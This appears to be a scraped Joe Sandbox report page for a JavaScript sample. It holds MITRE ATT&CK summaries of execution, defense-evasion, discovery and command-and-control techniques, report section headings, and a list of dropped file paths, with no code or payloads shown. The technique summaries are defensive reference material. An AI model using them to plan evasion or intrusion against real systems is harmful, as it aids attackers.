Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 27321191142887719888.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\01d0b80c-faff-49f4-b9f1-10c96f81b722.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7064

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
27321191142887719888.js